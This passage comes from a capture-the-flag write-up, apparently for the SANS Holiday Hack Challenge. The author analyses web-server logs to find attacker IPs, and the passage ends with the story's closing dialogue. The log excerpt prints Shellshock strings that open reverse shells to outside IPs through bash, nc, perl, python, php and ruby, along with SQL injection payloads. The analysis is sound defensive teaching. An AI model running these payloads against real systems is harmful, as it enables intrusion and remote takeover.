 2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731
 2 Opera/8.81 (Windows-NT 6.1; U; en)
 2 Mozilla/5.0 Windows; U; Windows NT5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)
 2 Mozilla/4.0 (compatible MSIE 5.0;Windows_98)
 2 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 500.0)
 2 Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)
 2 Mozilla/4.0 (compatible; MSIE 6.a; Windows NTS)
 2 Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1
 2 Mozilla/5.0 (Windows NT 10.0;Win64;x64)
 1 1' UNION SELECT 1,1409605378,1,1,1,1,1,1,1,1/*&blogId=1
 1 1' UNION/**/SELECT/**/994320606,1,1,1,1,1,1,1/*&blogId=1
 1 1' UNION SELECT 1729540636,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x65,0x72, --
 1 1' UNION SELECT -1,'autosc','test','O:8:\"stdClass\":3:{s:3:\"mod\";s:15:\"resourcesmodule\";s:3:\"src\";s:20:\"@random41940ceb78dbb\";s:3:\"int\";s:0:\"\";}',7,0,0,0,0,0,0 /*
 1 1' UNION SELECT '1','2','automatedscanning','1233627891','5'/*
 1 1' UNION/**/SELECT/**/1,2,434635502,4/*&blog=1
 1 () { :; }; /bin/bash -i >& /dev/tcp/31.254.228.4/48051 0>&1
 1 () { :; }; /bin/bash -c '/bin/nc 55535 220.132.33.81 -e /bin/bash'
 1 () { :; }; /usr/bin/perl -e 'use Socket;$i="83.0.8.119";$p=57432;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 1 () { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("150.45.133.97",54611));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 1 () { :; }; /usr/bin/php -r '$sock=fsockopen("229.229.189.246",62570);exec("/bin/sh -i <&3 >&3 2>&3");'
 1 () { :; }; /usr/bin/ruby -rsocket -e'f=TCPSocket.open("227.110.45.126",43870).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 1 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
 1 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.23 (KHTML, like Gecko) Version/10.0 Mobile/14E5239e Safari/602.1
 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12
 1 Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19
 1 Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; Build/KLP) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
 1 Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36
 1 Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/_BuildID_) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36

The first four have 10 or more uses, and look like legit user agents. The rest all look bad, with typos, or references to known malware or attacks. I decided to ignore the first four, and do the pivot on the rest, by commenting out the histogram print, and adding:

ips = set(
    [rec["id.orig_h"] for rec in malicious_rec]
    + [rec["id.orig_h"] for rec in data if 0 < ua_cnt[rec["user_agent"]] < 9]
)

print(f"[+] Found {len(ips)} ips")
print(",".join([ip for ip in ips]))

Now it runs, and gives a list of 98 ips:

$ python3 identify_bad_ips.py
[*] Loading http.log
[*] Loaded 55121 records.
[+] Identified 62 malicious records
[*] Pivoting on UA string
[+] Found 146 records that share UA with known bad
[+] Found 98 ips
148.146.134.52,186.28.46.179,226.102.56.13,173.37.160.150,31.116.232.143,150.45.133.97,10.155.246.29,118.26.57.38,84.185.44.166,254.140.181.172,104.179.109.113,10.122.158.57,83.0.8.119,37.216.249.50,2.240.116.254,118.196.230.170,102.143.16.184,2.230.60.70,68.115.251.76,42.16.149.112,42.103.246.130,225.191.220.138,231.179.108.238,129.121.121.48,13.39.153.254,229.133.163.235,140.60.154.239,249.237.77.152,80.244.147.207,56.5.47.137,131.186.145.73,126.102.12.53,249.34.9.16,44.74.106.131,42.103.246.250,158.171.84.209,250.22.86.40,53.160.218.44,103.235.93.133,29.0.183.220,230.246.50.221,185.19.7.133,190.245.228.38,135.32.99.116,48.66.193.176,97.220.93.190,34.155.174.167,69.221.145.150,27.88.56.114,0.216.249.31,92.213.148.0,106.93.213.219,150.50.77.238,142.128.135.10,75.73.228.192,226.240.188.154,45.239.232.245,34.129.179.28,22.34.153.164,187.178.169.123,253.65.40.39,9.206.212.33,168.66.108.62,44.164.136.41,123.127.233.97,249.90.116.138,253.182.102.55,19.235.69.221,28.169.41.122,95.166.116.45,121.7.186.163,203.68.29.5,61.110.82.125,50.154.111.0,223.149.180.133,42.191.112.181,66.116.147.181,111.81.145.191,106.132.195.153,229.229.189.246,65.153.114.120,42.127.244.30,227.110.45.126,87.195.80.126,220.132.33.81,49.161.8.58,238.143.78.114,200.75.228.240,23.49.177.78,187.152.203.243,217.132.156.225,135.203.243.43,116.116.98.205,84.147.231.129,252.122.243.212,31.254.228.4,81.14.204.154,33.132.98.193

On entering this string into the box and hitting the Block button, I get success:

image-20200106211708023

The Route ID is 0807198508261964.<div style="page-break-after: always;"></div>

Conclusion

On solving the final objective, the Bell Tower Access door opens:

image-20200112063325982

At the top of the bell tower, I find Santa, Krampus, and the Tooth Fairy, in her new orange prison jumpsuit:

image-20200112063450431

Santa says:

Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays!

Ho Ho Ho!

The more I laugh, the more I fill with glee.

And the more the glee,

The more I’m a merrier me!

Merry Christmas and Happy Holidays.

The Tooth Fairy admits defeat in the most Scooby Doo way possible:

You foiled my dastardly plan! I’m ruined!

And I would have gotten away with it too, if it weren’t for you meddling kids!

Krampus offers his congratulations as well:

Congratulations on a job well done!

Oh, by the way, I won the Frido Sleigh contest.

I got 31.8% of the prizes, though I’ll have to figure that out.

There’s also a piece of paper on the ground at the top left of the platform. Perhaps a hint towards next year:

image-20200112063927100